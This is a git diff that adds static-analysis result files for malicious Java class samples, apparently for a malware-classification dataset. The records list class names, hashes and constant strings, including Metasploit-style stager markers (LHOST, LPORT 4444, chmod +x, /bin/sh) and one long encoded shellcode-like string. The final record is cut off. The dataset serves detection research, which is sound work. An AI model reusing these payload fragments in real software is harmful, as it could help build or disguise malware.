diff --git a/java_classification/data/malicious/e6cafefb5ff55a1f80c6d5d299c928420c4ef2f77405253eef6384a0fdab2192.results b/java_classification/data/malicious/e6cafefb5ff55a1f80c6d5d299c928420c4ef2f77405253eef6384a0fdab2192.results
new file mode 100755
index 0000000..7891b00
--- /dev/null
+++ b/java_classification/data/malicious/e6cafefb5ff55a1f80c6d5d299c928420c4ef2f77405253eef6384a0fdab2192.results
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/java_classification/data/malicious/e789a68035abf15eff14043a8f5993b98e8996d8da9225fbae9c2508e5c638ae.results b/java_classification/data/malicious/e789a68035abf15eff14043a8f5993b98e8996d8da9225fbae9c2508e5c638ae.results
new file mode 100755
index 0000000..ace1fd0
--- /dev/null
+++ b/java_classification/data/malicious/e789a68035abf15eff14043a8f5993b98e8996d8da9225fbae9c2508e5c638ae.results
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/java_classification/data/malicious/e7b7befc0d7a43b7ee1dd93454414e165bce11dd1da8aeefdeec468a5e8ec8c9.results b/java_classification/data/malicious/e7b7befc0d7a43b7ee1dd93454414e165bce11dd1da8aeefdeec468a5e8ec8c9.results
new file mode 100755
index 0000000..f4fd83f
--- /dev/null
+++ b/java_classification/data/malicious/e7b7befc0d7a43b7ee1dd93454414e165bce11dd1da8aeefdeec468a5e8ec8c9.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/e7ed235a96a9e1b747adb5a260ddebc3961e79f218681953c27cf2cd20a1db11.results b/java_classification/data/malicious/e7ed235a96a9e1b747adb5a260ddebc3961e79f218681953c27cf2cd20a1db11.results
new file mode 100755
index 0000000..509f4a3
--- /dev/null
+++ b/java_classification/data/malicious/e7ed235a96a9e1b747adb5a260ddebc3961e79f218681953c27cf2cd20a1db11.results
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diff --git a/java_classification/data/malicious/e8687d2c49d762827eb283640dded67412034cbdbf1592ddb09c940b0601631a.results b/java_classification/data/malicious/e8687d2c49d762827eb283640dded67412034cbdbf1592ddb09c940b0601631a.results
new file mode 100755
index 0000000..11a8013
--- /dev/null
+++ b/java_classification/data/malicious/e8687d2c49d762827eb283640dded67412034cbdbf1592ddb09c940b0601631a.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "BMVoAJTxeI/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "c5a19b87-96c8-4b8d-928c-38c19b42caa4", "verbose": {"java": {"constant strings": ["BMVoAJTxeI.Payload", ".class", "/BMVoAJTxeI.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "BMVoAJTxeI.dat", "URL", "", "https:", "BMVoAJTxeI/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "BMVoAJTxeI/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "BMVoAJTxeI.PayloadTrustManager", "useFor", "java.net.URLConnection", "BMVoAJTxeI.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javaLejZDzm.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "4ca99db17d40373e5c99f24bc1c50cc365a1b042", "file_name": "java_malicious/e8687d2c49d762827eb283640dded67412034cbdbf1592ddb09c940b0601631a", "_id": "c5a19b87-96c8-4b8d-928c-38c19b42caa4", "score": 0, "entropy": 6.144222251656013, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "192:gmO1tFP2mptm+BoNvpvUrKYvCkgHzbDrDF:5+v2mzBoNvZU+YvaH3B", "sha256": "e8687d2c49d762827eb283640dded67412034cbdbf1592ddb09c940b0601631a", "md5": "1cd8ba2e28293ae4280667d31c3dd1eb", "parent_sha256": "e8687d2c49d762827eb283640dded67412034cbdbf1592ddb09c940b0601631a"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/e88b7ba85ae6c38db2d6a46201469c5b8bcdfaeccb4328ad0896e19cc0a066c2.results b/java_classification/data/malicious/e88b7ba85ae6c38db2d6a46201469c5b8bcdfaeccb4328ad0896e19cc0a066c2.results
new file mode 100755
index 0000000..79ef321
--- /dev/null
+++ b/java_classification/data/malicious/e88b7ba85ae6c38db2d6a46201469c5b8bcdfaeccb4328ad0896e19cc0a066c2.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "y/dkr", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "a", "a", "b", "a", "a", "a", "init", "a", "<clinit>"], "minor_version": 0, "const_pool_count": 202}}, "_id": "4afbb09b-880a-465e-919f-9ecc56a40480", "verbose": {"java": {"constant strings": ["gl_\\x07-alG\\x01-\\x7fhO\\nfny\\x07%lc~]\\x14vnyF\\x14", "ch^/m~yH\\x08`h", "gl_\\x07-db\\x07)aghJ\\x12Jc}\\\\\\x12Py\\x7fL\\x07n", "gl_\\x07-db\\x07/m}x]5w\\x7fhH\\x0b", "(u", "LNl", "I=\\x19V6:8\\x1eT3=<\\x1aSA9N\\x1f\\'5<:\\x1fP2?H\\x1f%5<;lP4?H\\x1d 5?", ";L\\x1fS5>:\\x1dUA4=j#654oW3:>\\x1b_5N=\\x1bV3==\\x1e^4==\\x19V3==\\x19T", ":8\\x1eT3==", "KH\\x1b%:9<\\x18^;O;lSEK=\\x1b", "==\\x19V45:\\x19V3==\\x19V3<:\\x19Q0:?\\x19V0=;hP2:;\\x1fW1H:\\x1cQ7;4\\x1f%", "?H\\x1fU5K;lP0:8\\x1eT4?;\\x1cPF:9\\x1b#5<:\\x1dPE;I\\x1f_5>?lR2:9\\x1f ", ";I\\x1f_5>8\\x1bP6;;\\x1fS4?;\\x1cPF;>\\x1fS7<:\\x1bQ1;<\\x1e_B4I\\x1b\"FL<k#", ";8\\x1fV3N=\\x1bV3=<\\x1c$3==\\x1cP2:?\\x1eT5<:\\x10Q7==\\x18U6O9jPB;<\\x1eP", ";<\\x1b 5N;\\x18PF;:\\x1b 7K;\\x1bPB;8\\x1fU49>kQ;:=\\x1eW3=:lV3=>", "gw@\\x03", "\\x7fhH\\x02LogL\\x05w", "gl_\\x07-alG\\x01-NaH\\x15p", "jh]%ol~Z*lliL\\x14"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f2ae6af71f274af332a61d20350c6ff7dfae809d", "file_name": "java_malicious/e88b7ba85ae6c38db2d6a46201469c5b8bcdfaeccb4328ad0896e19cc0a066c2", "_id": "4afbb09b-880a-465e-919f-9ecc56a40480", "score": 0, "entropy": 5.915843267800359, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 4308, "ssdeep": "96:ox3aZcBIbJUyZUw6r6Fr82hJIpc3j+K5ggg0g:Rcq2yZUn+C27Ip46K5ggg0g", "sha256": "e88b7ba85ae6c38db2d6a46201469c5b8bcdfaeccb4328ad0896e19cc0a066c2", "md5": "15478c5963cd4f1672b1b045c66c4e99", "parent_sha256": "e88b7ba85ae6c38db2d6a46201469c5b8bcdfaeccb4328ad0896e19cc0a066c2"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/e95f18e82ba20b69f969e71e90f3826af87c895a10541ef5f14cf133a0b71828.results b/java_classification/data/malicious/e95f18e82ba20b69f969e71e90f3826af87c895a10541ef5f14cf133a0b71828.results
new file mode 100755
index 0000000..6ad5956
--- /dev/null
+++ b/java_classification/data/malicious/e95f18e82ba20b69f969e71e90f3826af87c895a10541ef5f14cf133a0b71828.results
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/java_classification/data/malicious/e9a0eb260747badd2304fdad92d090c2e5a81a3b7e0c1af94af305255da7cc99.results b/java_classification/data/malicious/e9a0eb260747badd2304fdad92d090c2e5a81a3b7e0c1af94af305255da7cc99.results
new file mode 100755
index 0000000..6daecf1
--- /dev/null
+++ b/java_classification/data/malicious/e9a0eb260747badd2304fdad92d090c2e5a81a3b7e0c1af94af305255da7cc99.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "xybnpeIvmA/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "24afcb10-7e62-4429-a9cc-643a21dff186", "verbose": {"java": {"constant strings": ["xybnpeIvmA.Payload", ".class", "/xybnpeIvmA.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "xybnpeIvmA.dat", "URL", "", "https:", "xybnpeIvmA/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "xybnpeIvmA/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "xybnpeIvmA.PayloadTrustManager", "useFor", "java.net.URLConnection", "xybnpeIvmA.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javaAXilQOo.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "2d87581394b3637a7ab80d0464df39d1dca27009", "file_name": "java_malicious/e9a0eb260747badd2304fdad92d090c2e5a81a3b7e0c1af94af305255da7cc99", "_id": "24afcb10-7e62-4429-a9cc-643a21dff186", "score": 0, "entropy": 6.13627024445691, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMlDUB/+WjZThmWb7xpIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrDF:gmO1tv/5tmKrNvpvUrKYvCkgHzbDrDF", "sha256": "e9a0eb260747badd2304fdad92d090c2e5a81a3b7e0c1af94af305255da7cc99", "md5": "723f9c95da29de12838ebc793eb95fd0", "parent_sha256": "e9a0eb260747badd2304fdad92d090c2e5a81a3b7e0c1af94af305255da7cc99"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/e9ad1ef333bfd8b74bb21e2904f96e4b26567c81165cf1c4ac2635cf3e2f9eb9.results b/java_classification/data/malicious/e9ad1ef333bfd8b74bb21e2904f96e4b26567c81165cf1c4ac2635cf3e2f9eb9.results
new file mode 100755
index 0000000..0da429f
--- /dev/null
+++ b/java_classification/data/malicious/e9ad1ef333bfd8b74bb21e2904f96e4b26567c81165cf1c4ac2635cf3e2f9eb9.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "QiKqx.java", "class_name": "qYgzrtb/QiKqx", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "iXirD", "wNQJBsfEt", "AgwOOn", "ixhJRlj", "JXICNqJ", "TPZZtyPlb", "pOfyQ"], "minor_version": 0, "const_pool_count": 140}}, "_id": "3b3f1bca-e1ee-4e39-a997-87af00cabf4f", "verbose": {"java": {"constant strings": ["~||", "rpew", "bdbd", "`qbcrew", "", "dbaaos", "`qgrew", "dbos", "`qrew", "rep", "sdqrt~|}sd{ep6}xp{"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "65f7ead23fc0aeb46c3dfce6c33d2c351f9a43eb", "file_name": "java_malicious/e9ad1ef333bfd8b74bb21e2904f96e4b26567c81165cf1c4ac2635cf3e2f9eb9", "_id": "3b3f1bca-e1ee-4e39-a997-87af00cabf4f", "score": 0, "entropy": 5.84669578341394, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4085, "ssdeep": "96:eMsRfX/FluO1BPJI/5ibnhfyv1270QtTNi:eMsRfXtluO1B6xib9GA7ntTc", "sha256": "e9ad1ef333bfd8b74bb21e2904f96e4b26567c81165cf1c4ac2635cf3e2f9eb9", "md5": "f5f06c006c545d850d2e85ddcedec78b", "parent_sha256": "e9ad1ef333bfd8b74bb21e2904f96e4b26567c81165cf1c4ac2635cf3e2f9eb9"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/ea804d367a3387112c23a72a44a541a719b2216ef1e8a9e290d23a5fa070c761.results b/java_classification/data/malicious/ea804d367a3387112c23a72a44a541a719b2216ef1e8a9e290d23a5fa070c761.results
new file mode 100755
index 0000000..d20e08b
--- /dev/null
+++ b/java_classification/data/malicious/ea804d367a3387112c23a72a44a541a719b2216ef1e8a9e290d23a5fa070c761.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "qeajcusrdwlncdbwbdc.java", "class_name": "wjrqfstrvkwwtlg/qeajcusrdwlncdbwbdc", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "yltgrnuvgdlpjrqmgpucgrh"], "minor_version": 0, "const_pool_count": 144}}, "_id": "70a0d835-6ed8-4093-b946-23e710b09a19", "verbose": {"java": {"constant strings": ["06426e", "2CDRTa", "4d750b561d35177a64563f6c6a", "rq3V", "3f48677461666a6666636f573a76", "DlEyp4Y", "2c7067575d0977704e4b5c4842692a73695b787b77", "WELDq", "766a093218104a0a7f777e6c", "In12w", "185978624f32614d6956584c", "clSq", "08576b4a7e1e7a48686d4f414274254a76", "sbWDKLX", "5a4f", "Tfy9Xj1", "0a544a456c68504b47787d7a69740f447839", "qRaVY", "1c7e5d254b15440a6d717d", "gKv6", "381f7655675d796a520f57", "C9WP"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "38f5ca180b3794c9caac6458fc54461704b137d0", "file_name": "java_malicious/ea804d367a3387112c23a72a44a541a719b2216ef1e8a9e290d23a5fa070c761", "_id": "70a0d835-6ed8-4093-b946-23e710b09a19", "score": 0, "entropy": 5.848693910376913, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2866, "ssdeep": "48:sdAy8kAlAgXjU3mnPnOlGczK9BfBV5w093fbh86AbKtsQZakKBpxI4Opiyjctbfn:C8kAl5jhnPhczK97LDLv+OwpxNyjct8q", "sha256": "ea804d367a3387112c23a72a44a541a719b2216ef1e8a9e290d23a5fa070c761", "md5": "45aeb58ce8500403076bc1d331e3f05d", "parent_sha256": "ea804d367a3387112c23a72a44a541a719b2216ef1e8a9e290d23a5fa070c761"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/eb70aabcdf1fb227d9c98116c58ad2ea21caf901fea54c65e89a392ef072e145.results b/java_classification/data/malicious/eb70aabcdf1fb227d9c98116c58ad2ea21caf901fea54c65e89a392ef072e145.results
new file mode 100755
index 0000000..1f49e4c
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diff --git a/java_classification/data/malicious/ebcc525af987421fdd1d9fb715e7ec820d8accdc7d6842964334b1297053b945.results b/java_classification/data/malicious/ebcc525af987421fdd1d9fb715e7ec820d8accdc7d6842964334b1297053b945.results
new file mode 100755
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diff --git a/java_classification/data/malicious/ec04c84e022224c21c34691140f3414112fa9dc0b232f619afa34148a1c50038.results b/java_classification/data/malicious/ec04c84e022224c21c34691140f3414112fa9dc0b232f619afa34148a1c50038.results
new file mode 100755
index 0000000..96ceeb2
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diff --git a/java_classification/data/malicious/ec11c882f4a427af16bd537dcd384722df66ebb38fc6c7b132049202eac398ba.results b/java_classification/data/malicious/ec11c882f4a427af16bd537dcd384722df66ebb38fc6c7b132049202eac398ba.results
new file mode 100755
index 0000000..1271e5b
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diff --git a/java_classification/data/malicious/ec1ee519204ab1f1b2f66270b106418d1ab021a7a51a1f238d3d5a5174d7c63f.results b/java_classification/data/malicious/ec1ee519204ab1f1b2f66270b106418d1ab021a7a51a1f238d3d5a5174d7c63f.results
new file mode 100755
index 0000000..37112bf
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diff --git a/java_classification/data/malicious/ec60941150040eca45567bf8d6906c94df745ba12d5c52d5c2c7e4b14649e451.results b/java_classification/data/malicious/ec60941150040eca45567bf8d6906c94df745ba12d5c52d5c2c7e4b14649e451.results
new file mode 100755
index 0000000..24c14b3
--- /dev/null
+++ b/java_classification/data/malicious/ec60941150040eca45567bf8d6906c94df745ba12d5c52d5c2c7e4b14649e451.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/ece4e89a3492f804d9daae4629c917a9d26f969f6db29392bb4a4a475f36cc1d.results b/java_classification/data/malicious/ece4e89a3492f804d9daae4629c917a9d26f969f6db29392bb4a4a475f36cc1d.results
new file mode 100755
index 0000000..e438ad0
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+++ b/java_classification/data/malicious/ece4e89a3492f804d9daae4629c917a9d26f969f6db29392bb4a4a475f36cc1d.results
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diff --git a/java_classification/data/malicious/ece623fd08de27f9d9d1de9ac0441aa2b3af1f4d1a94d49bed0c6c9c37148cde.results b/java_classification/data/malicious/ece623fd08de27f9d9d1de9ac0441aa2b3af1f4d1a94d49bed0c6c9c37148cde.results
new file mode 100755
index 0000000..56d6c7e
--- /dev/null
+++ b/java_classification/data/malicious/ece623fd08de27f9d9d1de9ac0441aa2b3af1f4d1a94d49bed0c6c9c37148cde.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "c8f67b45.java", "class_name": "c8f67b45", "access_permissions": ["ACC_PUBLIC"], "major_version": 45, "method_names": ["insert", "<init>"], "minor_version": 3, "const_pool_count": 90}}, "_id": "f77c870f-4661-4c00-9652-cc097fe57ee0", "verbose": {"java": {"constant strings": ["<init>", "Code"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "2a1ce6ed49c17b5a32debe84ecbe0b441bc140b9", "file_name": "java_malicious/ece623fd08de27f9d9d1de9ac0441aa2b3af1f4d1a94d49bed0c6c9c37148cde", "_id": "f77c870f-4661-4c00-9652-cc097fe57ee0", "score": 0, "entropy": 5.797058989965403, "libmagic": "compiled Java class data, version 45.3", "file_size": 1562, "ssdeep": "24:cqYbQSDH3sr4x9qDy1Mw8u4d9HEjnuks3jAtlzZ/q0Sp5s66m+eIqTT5K:RYbV4rYybuk9NnjAtZK2i+BqH5K", "sha256": "ece623fd08de27f9d9d1de9ac0441aa2b3af1f4d1a94d49bed0c6c9c37148cde", "md5": "ceb1be6cd3e35b837f635ddc56273e57", "parent_sha256": "ece623fd08de27f9d9d1de9ac0441aa2b3af1f4d1a94d49bed0c6c9c37148cde"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/ed38315b7c40e4988f56b2afbee856cef2f3c83f96b8a2dd2a717a918a03b10a.results b/java_classification/data/malicious/ed38315b7c40e4988f56b2afbee856cef2f3c83f96b8a2dd2a717a918a03b10a.results
new file mode 100755
index 0000000..3582984
--- /dev/null
+++ b/java_classification/data/malicious/ed38315b7c40e4988f56b2afbee856cef2f3c83f96b8a2dd2a717a918a03b10a.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "yKqIIcdsjc/rTBIqfp", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "be3111b7-92a2-406d-8c2a-2ad1ddfa0daf", "verbose": {"java": {"constant strings": ["yKqIIcdsjc.rTBIqfp", ".class", "/yKqIIcdsjc.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "yKqIIcdsjc.dat", "URL", "", "https:", "yKqIIcdsjc/rTBIqfpTrustManager.class", "rTBIqfpTrustManager.class", "AESPassword", "yKqIIcdsjc/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "yKqIIcdsjc.rTBIqfpTrustManager", "useFor", "java.net.URLConnection", "yKqIIcdsjc.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "rTBIqfp -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "21d80cfb5069caa76c41047486eaa67d41b68ac2", "file_name": "java_malicious/ed38315b7c40e4988f56b2afbee856cef2f3c83f96b8a2dd2a717a918a03b10a", "_id": "be3111b7-92a2-406d-8c2a-2ad1ddfa0daf", "score": 0, "entropy": 6.14749631182133, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tM2DUB/+WGHThmEOxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrD7x:gmO1tC/QtmHyNvpvUrKYvCkgHzbDrDF", "sha256": "ed38315b7c40e4988f56b2afbee856cef2f3c83f96b8a2dd2a717a918a03b10a", "md5": "d2e6b84bdebea766c8082e0c65aac5b2", "parent_sha256": "ed38315b7c40e4988f56b2afbee856cef2f3c83f96b8a2dd2a717a918a03b10a"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/edbf4b42453f8a0f64a7b13188c266fd6660063b6370ede9ddf28f63867318ad.results b/java_classification/data/malicious/edbf4b42453f8a0f64a7b13188c266fd6660063b6370ede9ddf28f63867318ad.results
new file mode 100755
index 0000000..c03afe3
--- /dev/null
+++ b/java_classification/data/malicious/edbf4b42453f8a0f64a7b13188c266fd6660063b6370ede9ddf28f63867318ad.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/cbnlhfkjpfjux", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "ftctngvvhxrfjc", "<clinit>"], "minor_version": 0, "const_pool_count": 446}}, "_id": "ede41164-f3a3-4208-83fa-392548169b4f", "metadata": {"mimetype": "application/x-java-applet", "sha1": "92ba10c5da48e7de124535b95ec22972e31b3dd5", "file_name": "java_malicious/edbf4b42453f8a0f64a7b13188c266fd6660063b6370ede9ddf28f63867318ad", "_id": "ede41164-f3a3-4208-83fa-392548169b4f", "score": 0, "entropy": 5.199172494550498, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6941, "ssdeep": "96:KMHpqfZYswjNDujPVYq01o8p/2Yxhni/mmNxlo55ooDy4IYwa5oYp55IX1:T4faNDuWqQp/xhi/To55UTYwa5hGX1", "sha256": "edbf4b42453f8a0f64a7b13188c266fd6660063b6370ede9ddf28f63867318ad", "md5": "75eda0ebe9beb74844c2984414a7fc1e", "parent_sha256": "edbf4b42453f8a0f64a7b13188c266fd6660063b6370ede9ddf28f63867318ad"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/edfb431a2f50af17440dd284379fea3ef1da3ea1594593966509c09043b38bf0.results b/java_classification/data/malicious/edfb431a2f50af17440dd284379fea3ef1da3ea1594593966509c09043b38bf0.results
new file mode 100755
index 0000000..2d3c0bc
--- /dev/null
+++ b/java_classification/data/malicious/edfb431a2f50af17440dd284379fea3ef1da3ea1594593966509c09043b38bf0.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "GltNBkFyUu/DXtYFqV", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "bc7991d8-a04c-4cb5-bebc-82d570173c0e", "verbose": {"java": {"constant strings": ["GltNBkFyUu.DXtYFqV", ".class", "/GltNBkFyUu.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "GltNBkFyUu.dat", "URL", "", "https:", "GltNBkFyUu/DXtYFqVTrustManager.class", "DXtYFqVTrustManager.class", "AESPassword", "GltNBkFyUu/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "GltNBkFyUu.DXtYFqVTrustManager", "useFor", "java.net.URLConnection", "GltNBkFyUu.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "DXtYFqV -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ebc1f0662811f48c90706cfbefacc9f99b6943e6", "file_name": "java_malicious/edfb431a2f50af17440dd284379fea3ef1da3ea1594593966509c09043b38bf0", "_id": "bc7991d8-a04c-4cb5-bebc-82d570173c0e", "score": 0, "entropy": 6.1539269974153825, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "192:gmO1tlhz1tmRayNvpvUrKYvCkgHzbDrDF:5+hzByNvZU+YvaH3B", "sha256": "edfb431a2f50af17440dd284379fea3ef1da3ea1594593966509c09043b38bf0", "md5": "11f1cfaf5194949dcdf94c606b438e26", "parent_sha256": "edfb431a2f50af17440dd284379fea3ef1da3ea1594593966509c09043b38bf0"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/ee073ce83e14bd76f1571c9030d9f9c25fd0c1a3ccdc8ce0759a2547c08c4061.results b/java_classification/data/malicious/ee073ce83e14bd76f1571c9030d9f9c25fd0c1a3ccdc8ce0759a2547c08c4061.results
new file mode 100755
index 0000000..666a616
--- /dev/null
+++ b/java_classification/data/malicious/ee073ce83e14bd76f1571c9030d9f9c25fd0c1a3ccdc8ce0759a2547c08c4061.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 86}}, "_id": "e339077e-4c8b-4469-b105-1a7cad5a3d39", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,In,pN,pN,pN,pJ,0L,PL,PZ,0X,iy,kg,pW,pC,0q,OE,4m,qp,0S,0g,pu,PN,kC,pT,Ln,kP,pG,ln,MN,kp,he,pO,pc,M6,lp,3P,tT,Co,fh,kL,3n,kB,H3,8n,k8,wQ,zf,dp,YM,8N,oW,pu,Pw,pX,bZ,Ys,Xr,OR,NW,pc,03,X0,uQ,bp,lp,mC,dK,Or,6n,kM,8m,8P,yu,Pw,pu,Pn,kK,g3,wo,p5,oS,0r,UK,Jq,Wb,ws,wm,PG,Ow,pt,5Y,jN,kH,oQ,O4,sh,Im,QX,lw,te,Q5,PW,pn,kK,ls,aR,rP,S3,Xf,dU,QW,ps,0K,Op,VT,Lp,Z0,Y6,1s,bL,K6,bp,Sq,SO,pu,k5,PC,E8,zM,Qc,KY,l6,N3,Ut,8P,eD,5U,Sk,3j,Kf,hM,Yg,so,7c,sw,tV,N5,5R,XU,5h,FC,s7,xw,pq,Km,Zy,Q5,Tf,PN,hG,53,0v,Sy,PP,PP,P2,ss,gP,Py,o2,vD,Po,sK,Hu,PR,US,6S,Ze,QQ,CY,or,vU,TP,Z0,YM,So,2f,dr,ao,p6,ZU,Pr,Ul,tK,O2,vu,Xr,qQ,Fl,Kd,5w,Ll,Kq,dV,U1,hu,Sj,UP,Vl,KB,Vu,pW,s9,ev,SZ,iq,Yq,QN,Mf,c9,Uu,cy,KV,oo,Nb,0e,hZ,R4,4V,hO,1X,KT,MU,Sy,Jg,0Z,Kz,Qw,KU,OR,U9,wC,nn,kQ,N1,45,Sk,mr,Fn,kf,lp,Kl,KS,ne,LW,sY,Mn,k7,tL,KU,Sk,ul,kq,Nf,9h,CZ,HE,PY,o9,oK,ON,nB,nV,nz,Lm,HK,Nl,JF,nS,NZ,xM,2P,sf,Si,Zn,jQ,KV,V5,Jd,o0,p1,z4,6P,br,F7,p2,H4,4T,4p,pW,Jv,Od,or,WP,eS,TT,33,Q2,Zf,NQ,y0,ne,6B,Of,OP,cq,wQ,yT,m3,Rc,YP,nt,oF,Qd,pU,iT,yu,ap,1v,Ob,NP,0v,Pv,Xv,QT,pF,V4,rP,0f,Q4,sV,Pf,TB,RV,PP,40,0W,Is,zv,Q5,av,P6,P4,pP,6t,pv,QP,Rv,Ye,bb,CD,q6,VE,dt,uE,3S,hp,5v,Qa,sa,q3,Tf,Pw,Gs,Tq,I6,Qq,qp,2q,qr,Dp,52,Fd,pR,zf,PT,qD,pv,Pa,vD,pw,H6,P5,PG,pA,", "41,25,25,25,25", ",", "", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "06ac82d370325cdf41c72a0b9921ec2586284964", "file_name": "java_malicious/ee073ce83e14bd76f1571c9030d9f9c25fd0c1a3ccdc8ce0759a2547c08c4061", "_id": "e339077e-4c8b-4469-b105-1a7cad5a3d39", "score": 0, "entropy": 6.1271362400507225, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3162, "ssdeep": "96:HFl82EgOGE/rmc9jMB+YTDE2iTULNkez1zNjWZ:ll82EgBciPI4Q5ApnJNiZ", "sha256": "ee073ce83e14bd76f1571c9030d9f9c25fd0c1a3ccdc8ce0759a2547c08c4061", "md5": "827b18d029b23d5b1583e2abbf4320ce", "parent_sha256": 